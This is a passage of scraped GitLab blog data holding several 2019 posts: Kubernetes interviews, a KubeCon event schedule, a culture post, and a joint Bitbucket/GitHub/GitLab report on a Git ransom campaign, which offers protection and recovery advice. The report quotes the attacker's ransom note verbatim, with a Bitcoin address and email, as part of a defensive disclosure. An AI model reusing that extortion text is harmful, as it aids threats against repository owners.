source.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680604/Blog/Hero%20Images/tech-explorers-cover.png","https://about.gitlab.com/blog/kubernetes-chat-with-joe-beda","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Kubernetes and the open source community: We chat with Joe Beda\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-05-20\",\n      }",{"title":29425,"description":29426,"authors":29431,"heroImage":29427,"date":29413,"body":29432,"category":813,"tags":29433},[18462],"\n\nJoe Beda is the Principal Engineer at VMWare and co-creator of Kubernetes. Beda and Craig McLuckie’s Google project to build a container orchestration tool has exploded and Kubernetes is now a large, open source community with thousands actively contributing to the project thanks to the [Cloud Native Computing Foundation](https://cncf.io/). In the world of open source they don’t get much better than Joe Beda, which is why we were thrilled to speak with him as part of our TechExplorers series where we sit down with the industry’s tech leaders.\n\nJoe and GitLab CEO [Sid Sijbrandij](/company/team/#sytses) went over a variety of topics like cloud native, Kubernetes, the business of open source, and many others. What was most interesting, but not surprising, was the integral role the open source community had in the success of these projects.\n\n“I think open source is evolving… It’s never been something that’s sat still. One of the lessons from Kubernetes more than anything else is that open source today is about community, if not more than code,” Beda says. He admits that right now is a tumultuous time for open source, with the line between product and project getting blurred. The “business” of open source can sometimes alienate the community that supported these initiatives in the first place, something many leaders will have to navigate in the years ahead.\n\n“It’s like there’s the code and the license for the code, and then there’s the community that builds around it. And even if it’s not a legal contract, I think there’s a social contract between the leaders of an open source project and the people who are members of that community. And I think you have to be very respectful of that social contract.”\n\nOne of the most important things an open source project can do to maintain the trust of the community, according to Beda, is to be very explicit about its motivations from the beginning. At GitLab, we’ve taken this message to heart and have [our promises to the open source community](/company/stewardship/) public on our website.\n\nKubernetes has already made a major impact on the way we deploy applications, and users continue to contribute and add to the project. “I think I’m still blown away with just the diversity of the projects that are building on top of Kubernetes,” he says. Even with recent challenges, Beda’s encouraged at the innovation he continues to see in open source. It all boils down to buy-in from the community and giving them the tools to keep innovating. “I think this is part of the excitement... There is a really vibrant set of projects that are experimenting, trying things out. And it’s going to be the users who decide what’s successful here.”\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/6IlyxHFedpo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nVideo directed and produced by [Aricka Flowers](/company/team/#arickaflowers)\n{: .note}\n\n\n## Takeaways\n\n\n### On the future of open source:\n\n>“I think open source is evolving… It’s never been something that’s sat still. One of the lessons from Kubernetes more than anything else is that open source today is about community, if not more than code.”\n\n\n### On building an open source company:\n\n>“My advice to anybody who is building a company around open source is to understand sort of where are your levers, where is the value that you’re adding, and try and be creative about finding ways to add value where something like this can’t happen.”\n\n\n### On the early days of Kubernetes:\n\n>“The real story is that there was a set of us that just wanted to be able to hack on some stuff and not have to go through all the process of shipping stuff to Google… But also we very much had the idea from the start that we wanted to build a community. We wanted to enable other people to own it, to be part of it, to really feel like they were instrumental in making it happen. And that’s what happened.”\n\n\n### On enterprise cloud adoption:\n\n>“I think that as we start to see these enterprises start to adopt cloud, understanding the power dynamics and the relationship with cloud, I think that there is a lot of concern about how do I get some independent advice, independent thought, independent support that’s going to actually stay with me as I figure out where my position lands as I move from on-prem to cloud and beyond.”\n\nWe’ll be at KubeCon Barcelona May 20 – 23, booth #S21. Learn how you can get started with GitLab and Kubernetes, and be sure to check out Joe Beda’s keynote on May 21.\n",[4103,3949,2509],{"slug":29435,"featured":6,"template":678},"kubernetes-chat-with-joe-beda","content:en-us:blog:kubernetes-chat-with-joe-beda.yml","Kubernetes Chat With Joe Beda","en-us/blog/kubernetes-chat-with-joe-beda.yml","en-us/blog/kubernetes-chat-with-joe-beda",{"_path":29441,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29442,"content":29448,"config":29453,"_id":29455,"_type":16,"title":29456,"_source":17,"_file":29457,"_stem":29458,"_extension":20},"/en-us/blog/kubernetes-kubecon-barcelona",{"title":29443,"description":29444,"ogTitle":29443,"ogDescription":29444,"noIndex":6,"ogImage":29445,"ogUrl":29446,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29446,"schema":29447},"See you at KubeCon Barcelona!","We're excited to see you all in Barcelona! Visit us at booth S21.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664107/Blog/Hero%20Images/tanuki-adventure.png","https://about.gitlab.com/blog/kubernetes-kubecon-barcelona","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"See you at KubeCon Barcelona!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Priyanka Sharma\"}],\n        \"datePublished\": \"2019-05-17\",\n      }",{"title":29443,"description":29444,"authors":29449,"heroImage":29445,"date":29450,"body":29451,"category":813,"tags":29452},[26983],"2019-05-17","\nKubeCon is here again! I am very excited to go to Barcelona and meet (some of) the 12,000 attendees expected at the show. I’ve been part of KubeCon since the second event when there were 700 attendees. That year, we were a cozy community with about five projects, and Kubernetes was the newest game in town. Fast forward to today and I now serve on the board of the CNCF, Kubernetes is a stable technology, the foundation hosts 36 projects, and the latest of them to graduate will be Fluentd (after Kubernetes, Prometheus, CoreDNS, Envoy, and Containerd). I can’t quite reveal it yet, but there will be a very cool GitLab story intertwined with one of the projects that you will see for yourself soon :-).\n\n\u003Cscript type=\"text/javascript\" src=\"https://ssl.gstatic.com/trends_nrtr/1754_RC01/embed_loader.js\">\u003C/script> \u003Cscript type=\"text/javascript\"> trends.embed.renderExploreWidget(\"TIMESERIES\", {\"comparisonItem\":[{\"keyword\":\"kubernetes\",\"geo\":\"\",\"time\":\"today 5-y\"}],\"category\":0,\"property\":\"\"}, {\"exploreQuery\":\"date=today%205-y&q=kubernetes\",\"guestPath\":\"https://trends.google.com:443/trends/embed/\"}); \u003C/script>\n*\u003Csmall>Kubernetes growth over the past 5 years.\u003C/small>*\n\nAs some of you know, I joined GitLab after following the company and our CEO, Sid Sijbrandij, for a long time. Working at this dynamic company has been a ride of a lifetime. I am an open source person and one of the interesting things for me is how the [GitLab story](/company/history/) is similar to the Kubernetes story. GitLab started as an open source git provider because our co-founder, [Dmitriy \"DZ\" Zaphorozhets](/company/team/#dzaporozhets) didn’t like his options. Today, we have morphed into a [single application for the entire DevOps lifecycle](/stages-devops-lifecycle/). Similarly, Kubernetes comes from humble beginnings. In the words of Joe Beda, co-founder of Kubernetes, “there were a set of us that just wanted to be able to hack on some stuff and not have to go through all the process of shipping stuff to Google...it was more important for us to sort of reset the playing field between clouds. And so Kubernetes became a way for us to start doing that.”\n\nIt’s exciting to watch Kubernetes grow into the default container orchestration platform but I believe the best is yet to come: When the technology truly shifts left and every developer has access to it. That’s where GitLab comes in. With it’s deep focus on the developer workflow, the product brings efficiency, collaboration, and governance to teams sprawling the world wide web (a la GitLab itself) or small groups working out of a garage. When everything’s in the MR, everything is accessible including details on your kubernetes pods. I invite you to learn more about how we [integrate with Kubernetes](/solutions/kubernetes/).\n\n> “The only way in my opinion to make it easier for most end users to have a \"cloud-native\" experience is to provide a more end-to-end platform, a way that people can come together and they can edit code and review code and then actually do CI on that code and get that code shipped out to containers and have it be run with appropriate load balancing and observability.” — Matt Klein, Systems Engineer at Lyft\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/w0cZuG2Fcwo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n*\u003Csmall>Video directed and produced by [Aricka Flowers](/company/team/#arickaflowers).\u003C/small>*\n\n## Let's connect!\n\n[Meet us at booth S21](https://about.gitlab.com/events/kubecon/) for CI office hours, tanuki adventures, and iPad giveaways!\n\nI'd love to help any CNCF projects (and other folks!) consider [GitLab CI](/solutions/continuous-integration/). If you are interested, [DM me on Twitter](https://twitter.com/pritianka) and we can sit down and discuss.\n\n## Join us for these events\n\n### Monday, May 20\n\n#### Cloud-Native Transformation Summit Hosted by Sysdig | 9:00 am - 12:15 pm\n\nJoin Priyanka Sharma, Director of Technical Evangelism at GitLab, at this zero day KubeCon event. This event will look at how enterprise organizations are moving into production-level Kubernetes and transforming their applications and infrastructure operations into Cloud-Native technologies.\n[Learn more here](https://go.sysdig.com/cloud_native_transformation_summit_2019.html).\n\n#### Zero Trust in the Cloud Native Era at Cloud Native Security Day | 11:00 - 11:30 am\n\nPriyanka Sharma, Director of Technical Evangelism at GitLab covers zero trust in the era of cloud native. [Register here](https://go.twistlock.com/cloudnativesecurityday#agenda).\n\n#### The Future of CI/CD with Kubernetes | 2:40 - 3:20 pm\n\nJoin Dan Lorenc, Software Engineer at Google, Carlos Sanchez, Principal Software Engineer at CloudBees, and Priyanka Sharma, Director of Technical Evangelism at GitLab, and Rob Zuber, CTO at CircleCI for a discussion on the future of CI/CD with Kubernetes.[Learn more here](https://sched.co/N6FQ).\n\n#### Barcelona Free Software Meetup: Working in the Open with GitLab, Kubic with openSUSE | 7-9 pm\n\nJoin Jason Plum, a Senior Software Engineer, Distribution at GitLab, for a talk on GitLab’s open-core product. He’ll discuss contributing back to the community directly, as well as sharing insights on changing from Closed to Open.\n[RSVP here](https://www.meetup.com/Barcelona-Free-Software/events/260656266/).\n\n### Tuesday, May 21\n\n#### Tutorial: Cloud-Agnostic Serverless - Sebastien Goasguen, TriggerMesh & Priyanka Sharma, GitLab | 11:05 am - 12:30 pm\n\nIn this tutorial, we will leverage Knative, Google's Kubernetes-based open source platform to build, deploy, and manage modern serverless workloads. We will push serverless functions and apps to production on any cloud of choice and switch the provider as necessary. We will leverage GitLab and TriggerMesh technology in the tutorial and also share how developers can use other options.\nSign up for the tutorial through the KubeCon schedule [here](https://sched.co/MPgx).\n\n#### Multicloud 360 Event | 8:30 pm - Midnight\n\nJoin GitLab, Upbound, DigitalOcean, Google Cloud and CockroachDB for 360 views of Barcelona and a discussion of multicloud. [RSVP here](https://www.eventbrite.com/e/multicloud-360-tickets-60623662005) to reserve your spot.\n\n### Wednesday, May 22\n\n#### The Serverless Landscape and Event Driven Futures - Dee Kumar, Linux Foundation & Priyanka Sharma, GitLab | 2:00 -2:35 pm\n\nThere is a lot of curiosity and confusion around [serverless computing](/topics/serverless/). What is it? Who is it for? Is it a replacement for IaaS, PaaS, and containers? Does that mean the days of servers are over? The CNCF created the Serverless Working Group to explore the intersection of cloud native and serverless technology. [Learn more here](https://sched.co/MPeI).\n\n## Play #tanukiadventure\n\nJoin our #tanukiadventure! Grab your game card at our booth S21 to help guide your adventure in finding GitLab's partners. At each adventure stop, learn how they work with GitLab! Once complete, each partner will provide you with an exclusive GitLab collectible pin to celebrate our awesome partnership! The first 50 attendees to collect all 8 unique Tanuki pins will win our prized GitLab Tanuki hoodie!\n",[1899,3949,277,2509,815],{"slug":29454,"featured":6,"template":678},"kubernetes-kubecon-barcelona","content:en-us:blog:kubernetes-kubecon-barcelona.yml","Kubernetes Kubecon Barcelona","en-us/blog/kubernetes-kubecon-barcelona.yml","en-us/blog/kubernetes-kubecon-barcelona",{"_path":29460,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29461,"content":29466,"config":29471,"_id":29473,"_type":16,"title":29474,"_source":17,"_file":29475,"_stem":29476,"_extension":20},"/en-us/blog/building-an-award-winning-culture-at-gitlab",{"title":29462,"description":29463,"ogTitle":29462,"ogDescription":29463,"noIndex":6,"ogImage":29234,"ogUrl":29464,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29464,"schema":29465},"How we're building an award-winning culture at GitLab","We're proud to see GitLab recognized as one of Inc. Magazine's Best Workplaces in 2019!","https://about.gitlab.com/blog/building-an-award-winning-culture-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we're building an award-winning culture at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Betsy Church\"}],\n        \"datePublished\": \"2019-05-16\",\n      }",{"title":29462,"description":29463,"authors":29467,"heroImage":29234,"date":29468,"body":29469,"category":299,"tags":29470},[28195],"2019-05-16","\n\nWe’re delighted to share that GitLab has been named one of [Inc. Magazine’s Best Workplaces in 2019](https://www.inc.com/best-workplaces)!\n\nIn its fourth annual ranking for the private company sector, Inc.’s Best Workplaces list recognizes companies that have created exceptional workplaces through vibrant cultures, employee engagement, and stellar benefits.\n\nAlong with nearly 2,000 other participating companies, GitLab submitted an initial application followed by an anonymous employee survey, which gathered information about our team members’ confidence in the future, management effectiveness, trust, perks, and more.\n\nThere are many reasons we’re proud of the culture we’ve built and continue to sustain at GitLab, but we think it’s best to hear about it straight from our people.\nHere’s what a few of our [team members](/company/team/) from across the globe value most about life at GitLab:\n\n\n> “GitLab has a world-class team and industry-changing product velocity. I'm constantly learning from the people around me, and I've yet to hear anyone reject an idea because ‘It's just too hard.’ As a UX practitioner, we're often used to seeing our efforts get pushed down a backlog, but at GitLab, we see product refinements continually (and quickly) delivered into production. It's exciting and motivating.” [_– Christie Lenneville, UX Director_](/company/team/#clenneville)\n\n\n> “Working for GitLab is about something bigger than myself – it's bigger than my team, it's bigger than the employees – it's about partnering with the entire community to create better software.\nSimultaneously I get to help blaze a new trail – scaling an amazing culture with remote teams from around the globe.”\n[_– Joel Krooswyk, Manager, Customer Success_](/company/team/#JoelKroos)\n\n\n> “There are so many things that make GitLab special.\nTo start, of course, it's the people. I think this is due to the unique way in which we work – totally remotely from all around the globe.\nThere is a better chance of obtaining the best talent for the role when there aren't restrictions placed on location.\nThe flexibility also allows me to have time back for my family and life.\nThe stress is lower, I am happier working, and the overall work-life balance is just better here.”\n[_– Candace Byrdsong Williams, Diversity, Inclusion and Belonging Partner_](/company/team/#cwilliams3)\n\n\n> “Working at GitLab gives me confidence because we work with the highest level of transparency.\nBeing able to work remotely not only saves me on average two hours of daily commute time, but also makes it so efficient to respond to customers on time at any time.” [_– Xiaogang Wen, Solutions Architect_](/company/team/#xiaogang_gitlab)\n\n\n> “I love working at GitLab for a variety of reasons, but the flexibility in creating work-life harmony in my life tops my list.\nI work closely with our executive team here, and they have been so supportive and encouraging when family-related conflicts arise.\nThey are constantly reminding me that “family first” is our mantra, and give me ease of mind to take time away when needed.\nOutside of that, Sid, our co-founder and CEO, told me if it’s a beautiful day out and I just want to go enjoy it, I should do that.\nMoments like these make me so proud to be a part of the GitLab team.” [_– Cheri Holmes, Manager, Executive Assistant_](/company/team/#cheriholmes)\n\n\nWe celebrate this news as many of our team members are returning home from [GitLab Contribute](/events/gitlab-contribute/), the next iteration of our company [summits](/company/culture/contribute/previous/).\nHere's a glimpse of the fun we had together in New Orleans:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/xdtPNXtkBhE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nThank you to all of our team members around the globe who contribute to making GitLab a great place to work.\n\nInterested in joining our fast-growing, [all-remote](/company/culture/all-remote/) team? [Check out our vacancies](/jobs/).\n",[3798,2368,736,676],{"slug":29472,"featured":6,"template":678},"building-an-award-winning-culture-at-gitlab","content:en-us:blog:building-an-award-winning-culture-at-gitlab.yml","Building An Award Winning Culture At Gitlab","en-us/blog/building-an-award-winning-culture-at-gitlab.yml","en-us/blog/building-an-award-winning-culture-at-gitlab",{"_path":29478,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29479,"content":29484,"config":29490,"_id":29492,"_type":16,"title":29493,"_source":17,"_file":29494,"_stem":29495,"_extension":20},"/en-us/blog/git-ransom-campaign-incident-report-atlassian-bitbucket-github-gitlab",{"title":29480,"description":29481,"ogTitle":29480,"ogDescription":29481,"noIndex":6,"ogImage":12013,"ogUrl":29482,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29482,"schema":29483},"Git ransom campaign incident report","This is a coordinated effort to help educate and inform users on secure best practices relating to the recent Git ransomware incident.","https://about.gitlab.com/blog/git-ransom-campaign-incident-report-atlassian-bitbucket-github-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git ransom campaign incident report\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Atlassian Bitbucket, GitHub, GitLab\"}],\n        \"datePublished\": \"2019-05-14\",\n      }",{"title":29480,"description":29481,"authors":29485,"heroImage":12013,"date":29487,"body":29488,"category":299,"tags":29489},[29486],"Atlassian Bitbucket, GitHub, GitLab","2019-05-14","\n\nToday, Atlassian Bitbucket, GitHub, and GitLab are issuing a joint blog post, in a coordinated effort to help educate and inform users of the three platforms on secure best practices relating to the recent Git ransomware incident. Though there is no evidence Atlassian Bitbucket, GitHub, or GitLab products were compromised in any way, we believe it’s important to help the software development community better understand and collectively take steps to protect against this threat.\n\nOn Thursday, May 2, the security teams of Atlassian Bitbucket, GitHub, and GitLab learned of a series of user account compromises across all three platforms. These account compromises resulted in a number of public and private repositories being held for ransom by an unknown actor. Each of the teams investigated and assessed that all account compromises were the result of unintentional user credential leakage by users or other third parties, likely on systems external to Bitbucket, GitHub, or GitLab.\n\nThe security and support teams of all three companies have taken and continue to take steps to notify, protect, and help affected users recover from these events. Further, the security teams of all three companies are also collaborating closely to further investigate these events in the interest of the greater Git community. At this time, we are confident that we understand how the account compromises and subsequent ransom events were conducted. This coordinated blog post will outline the details of the ransom event, provide additional information on how our organizations protect users, and arm users with information on recovering from this event and preventing others.\n\n## Event details\n\nOn the evening of May 2 (UTC), all three companies began responding to reports that user repositories, both public and private, were being wiped and replaced with a single file containing the following ransom note:\n\n> To recover your lost data and avoid leaking it: Send us 0.1 Bitcoin (BTC) to our Bitcoin address 1ES14c7qLb5CYhLMUekctxLgc1FV2Ti9DA and contact us by Email at admin@gitsbackup.com with your Git login and a Proof of Payment. If you are unsure if we have your data, contact us and we will send you a proof. Your code is downloaded and backed up on our servers. If we dont receive your payment in the next 10 Days, we will make your code public or use them otherwise.\n\nThrough immediate independent investigations, all three companies observed that user accounts were compromised using legitimate credentials including passwords, app passwords, API keys, and personal access tokens. Subsequently, the bad actor performed command line Git pushes to repositories accessible to these accounts at very high rates, indicating automated methods. These pushes overwrote the repository contents with the ransom note above and erased the commit history of the remote repository. Incident responders from each of the three companies began collaborating to protect users, share intelligence, and identify the source of the activity. All three companies notified the affected users and temporarily suspended or reset those accounts in order to prevent further malicious activity.\n\nDuring the course of the investigation, we identified a third-party credential dump being hosted by the same hosting provider where the account compromise activity had originated. That credential dump comprised roughly one third of the accounts affected by the ransom campaign. All three companies acted to invalidate the credentials contained in that public dump.\n\nFurther investigation showed that continuous scanning for publicly exposed `.git/config` and other environment files has been and continues to be conducted by the same IP address that conducted the account compromises, as recently as May 10. These files can contain sensitive credentials and personal access tokens if care is not taken to prevent their inclusion, and they should not be publicly accessible in repositories or on web servers. This [problem](https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/) is [not](https://laravel-news.com/psa-hide-your-gitconfig-directory) a new one. More information on the `.git` directory and the `.git/config` file is available [here](https://git-scm.com/docs/gitrepository-layout) and [here](https://git-scm.com/docs/git-config#_configuration_file). Additional IPs residing on the same hosting provider are also exhibiting similar scanning behavior. We are confident that this activity is the source of at least a portion of the compromised credentials.\n\nKnown ransom activity ceased on May 2. All known affected users have had credentials reset or revoked, and all known affected users have been notified by all three companies.\n\n## How to protect yourself\n\nEnable multi-factor authentication on your software development platform of choice.\n- [Bitbucket](https://confluence.atlassian.com/bitbucket/two-step-verification-777023203.html)\n- [GitHub](https://help.github.com/en/articles/securing-your-account-with-two-factor-authentication-2fa)\n- [GitLab](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html)\n\nUse strong and unique passwords for every service.\nStrong and unique passwords prevent credential reuse if a third party experiences a breach and leaks credentials.\nUse a password manager (if approved by your organization) to make this easier!\n\nUnderstand the risks associated with the use of personal access tokens.\nPersonal access tokens, used via Git or the API, circumvent multi-factor authentication.\nTokens have may have read/write access to repositories depending on scope and should be treated like passwords.\nIf you enter your token into the clone URL when cloning or adding a remote, Git writes it to your `.git/config` file in plain text, which may carry a security risk if the `.git/config` file is publicly exposed.\nWhen working with the API, use tokens as environment variables instead of hardcoding them into your programs.\n\nDo not expose `.git` directories and `.git/config` files containing credentials or tokens in public repositories or on web servers.\n[Information on securing `.git/config` files on popular web servers is available here](https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/).\n\n## How to recover an affected repository\n\nIf you have a full, current copy of the repository on your computer, you can force push to the current HEAD of your local copy using:\n`git push origin HEAD:master --force`.\n\nOtherwise, you can still clone the repository and make use of:\n[`git reflog`](https://git-scm.com/docs/git-reflog) or\n[`git fsck`](https://git-scm.com/docs/git-fsck) to find your last commit and change the `HEAD`.\n\nAdditional assistance on Git usage is available in the following resources:\n- [Git documentation](https://git-scm.com/doc)\n- [How to move `HEAD`](https://stackoverflow.com/questions/34519665/how-to-move-head-back-to-a-previous-location-detached-head-undo-commits/34519716#34519716)\n- [Use `git fsck` to recover a deleted branch](https://opensolitude.com/2012/02/29/recover-git-branch.html)\n\nShould you require additional assistance recovering your repository contents, please refer to the following:\n- Bitbucket:\nPlease contact Bitbucket Support by filing a request at [support.atlassian.com/contact/#/](https://support.atlassian.com/contact/#/) and selecting “Bitbucket Cloud” when prompted for a product.\n- GitHub:\nPlease contact GitHub Support at [github.com/contact](https://github.com/contact).\n- GitLab:\nPlease contact GitLab Support via [support.gitlab.com](https://support.gitlab.com/).\n\n## What the software development platform community is doing to protect users\n\nAll three platforms provide robust multi-factor authentication options:\n- [Bitbucket](https://confluence.atlassian.com/bitbucket/two-step-verification-777023203.html)\n- [GitHub](https://help.github.com/en/articles/securing-your-account-with-two-factor-authentication-2fa)\n- [GitLab](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html)\n\n**Bitbucket** provides the ability for admins to require two-factor authentication (2FA) and the ability to restrict access to users on certain IP addresses ([IP Whitelisting](https://confluence.atlassian.com/bitbucket/control-access-to-your-private-content-862621261.html)) on their Premium plan.\n\n**GitHub** provides [token scanning](https://help.github.com/en/articles/about-token-scanning) to notify a variety of service providers if secrets are published to public GitHub repositories. GitHub also provides [extensive guidance on preventing unauthorized account access](https://help.github.com/en/articles/preventing-unauthorized-access). We encourage all users to [enable two-factor authentication](https://help.github.com/en/articles/about-two-factor-authentication).\n\n**GitLab** provides secrets detection in 11.9 as part of the [SAST functionality](/releases/2019/03/22/gitlab-11-9-released/#detect-secrets-and-credentials-in-the-repository). We also encourage users to [enable 2FA here](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html), and set up [SSH keys](https://docs.gitlab.com/ee/ssh/).\n\nThanks to the security and support teams of Atlassian Bitbucket, GitHub, and GitLab, including the following individuals for their contributions to this investigation and blog post: Mark Adams, Ethan Dodge, Sean McLucas, Elisabeth Nagy, Gary Sackett, Andrew Wurster (Atlassian Bitbucket); Matt Anderson, Howard Draper, Jay Swan, John Swanson (GitHub); Paul Harrison, Anthony Saba, Jayson Salazar, Jan Urbanc, Kathy Wang (GitLab).\n",[1067,736,674],{"slug":29491,"featured":6,"template":678},"git-ransom-campaign-incident-report-atlassian-bitbucket-github-gitlab","content:en-us:blog:git-ransom-campaign-incident-report-atlassian-bitbucket-github-gitlab.yml","Git Ransom Campaign Incident Report Atlassian Bitbucket Github Gitlab","en-us/blog/git-ransom-campaign-incident-report-atlassian-bitbucket-github-gitlab.yml","en-us/blog/git-ransom-campaign-incident-report-atlassian-bitbucket-github-gitlab",{"_path":29497,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29498,"content":29503,"config":29508,"_id":29510,"_type":16,"title":29511,"_source":17,"_file":29512,"_stem":29513,"_extension":20},"/en-us/blog/kubernetes-chat-with-kelsey-hightower",{"title":29499,"description":29500,"ogTitle":29499,"ogDescription":29500,"noIndex":6,"ogImage":29427,"ogUrl":29501,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29501,"schema":29502},"Kubernetes and the future of cloud native: We chat with Kelsey Hightower","Our CEO sits down with Google Staff Developer Advocate Kelsey Hightower to talk fundamentals, the future of cloud native, and Kubernetes.","https://about.gitlab.com/blog/kubernetes-chat-with-kelsey-hightower","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Kubernetes and the future of cloud native: We chat with Kelsey Hightower\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-05-13\",\n      }",{"title":29499,"description":29500,"authors":29504,"heroImage":29427,"date":29505,"body":29506,"category":813,"tags":29507},[18462],"2019-05-13","\n\n[Kelsey Hightower](https://twitter.com/kelseyhightower) is a Staff Developer Advocate at Google, co-chair of KubeCon, the largest Kubernetes conference, and an avid open source technologist. Naturally, we couldn’t think of a better first subject for TechExplorers, a new blog series where we talk to the industry’s tech leaders.\n\nGitLab CEO [Sid Sijbrandij](/company/team/#sytses) sat down with Kelsey to talk about a variety of topics like cloud native, Kubernetes, infrastructure challenges, understanding new technology, and much more. One topic that came up again and again was fundamentals. Even with so many new technologies and methodologies out there – Kubernetes, [serverless](/topics/serverless/), cloud native – the basics of computing remain the same. It’s only when we understand the fundamentals and commit to building reliable code that we can make the most of these new platforms.\n\nOne of the biggest challenges Kelsey sees is the “all-or-nothing” approach. “Either I’m all serverless, or I’m all Kubernetes, or I’m all traditional infrastructure. That has never made sense in the history of computing,” he says. Ultimately, you don’t have to choose: Pick the platforms that work best for the job.\n\nGoing forward, Kelsey hopes that development continues to focus on high-level interfaces and hide the infrastructure underneath. Organizations want to have as little interaction with servers as possible. “That is what we’re trying to do. Anything more than that is noisy, and it’s kind of serving our own self-interest … We need those creative people not to be wasting time trying to build up a cloud platform before they can solve real problems.”\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/9OHNejqXOoo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nVideo directed and produced by [Aricka Flowers](/company/team/#arickaflowers)\n{: .note}\n\n## Takeaways\n\n### On early Kubernetes:\n\n>\"... When it first came out, just based on my previous experience as a system administrator, this is the thing you’re trying to build all those years. So, when I saw it, I immediately knew this thing solves my problems. So, I think I kind of attacked it as a contributor first. And someone who wanted to teach other people what I saw in it. Not sure if it was ever going to blow up or not. But it definitely had the right footprint when it came out.\"\n\n### On teaching others:\n\n>\"I usually try to explain things based on the fundamentals, and then break down the technology until we get to the bottom. So, whenever something new comes out, my guess is it’s not going to change how we do computing. That hasn’t changed in a long time ... Once you learn the three, four, five basic fundamentals, then you just look at the new technology, and you just work your way down.\"\n\n### On invisible infrastructure:\n\n>\"Forever, people have tried to build a thing where most of the organization **doesn’t think about servers**. So whether you’re using Kubernetes, or virtualization for that matter, the whole goal is that if I check in code, there should be very little interaction with infrastructure to get that deployed to customers. To me, serverless is just a reminder to us that we should focus on a high-level interface and hide the various infrastructure underneath.\"\n\n### On adopting cloud native platforms:\n\n>\"If you take your app that you wrote 20 years ago and neglect it all this time, you don’t have any of those kind of controls, and you just move that app into the cloud native type of design patterns, it’s going to be worse than what you had before … People have to understand that there’s tradeoffs. You’re going to have to _write more reliable code_ if you expect to be able to adopt these platforms.\"\n\n## On monoliths:\n\n>\"There’s nothing wrong with monoliths, honestly. People have gotten themselves in a spot where they can’t really update the code. It’s messy. The codebase is all over the place. And if you take that same mentality to functions, you’re just going to have a mess of functions that are going to be all over the place and not even know how to call them.\n\n>\"_Discipline is required no matter what the platform is._ People think platform will absolve them from discipline.\"\n",[4103,3949,2509],{"slug":29509,"featured":6,"template":678},"kubernetes-chat-with-kelsey-hightower","content:en-us:blog:kubernetes-chat-with-kelsey-hightower.yml","Kubernetes Chat With Kelsey Hightower","en-us/blog/kubernetes-chat-with-kelsey-hightower.yml","en-us/blog/kubernetes-chat-with-kelsey-hightower",{"_path":29515,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29516,"content":29522,"config":29527,"_id":29529,"_type":16,"title":29530,"_source":17,"_file":29531,"_stem":29532,"_extension":20},"/en-us/blog/github-adds-package-registry",{"title":29517,"description":29518,"ogTitle":29517,"ogDescription":29518,"noIndex":6,"ogImage":29519,"ogUrl":29520,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29520,"schema":29521},"Packaging now standard, dependency proxy next?","GitHub follows GitLab by adding a package registry.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680578/Blog/Hero%20Images/package-registry.jpg","https://about.gitlab.com/blog/github-adds-package-registry","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Packaging now standard, dependency proxy next?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2019-05-10\",\n      }",{"title":29517,"description":29518,"authors":29523,"heroImage":29519,"date":29524,"body":29525,"category":299,"tags":29526},[711],"2019-05-10","\n\nToday, GitHub announced that [GitHub package registry](https://github.com/features/package-registry) is in public beta. Following up on GitHub’s Actions announcement late last year, it appears that GitHub is embarking on integrating more DevOps tools into a single application experience for its users.\n\nGitLab has been building a single application for the entire DevOps lifecycle since combining CI with SCM in 2012, and released integrated packaging back in 2016 – starting with a Docker registry – and adding Maven and NPM in 2018. You can find our plans for adding further packaging capabilities [on our public packaging roadmap](/direction/package/).\n\nGitLab’s private, secure container registry and artifact repositories are built in and preconfigured to work seamlessly with GitLab source code management and CI/CD 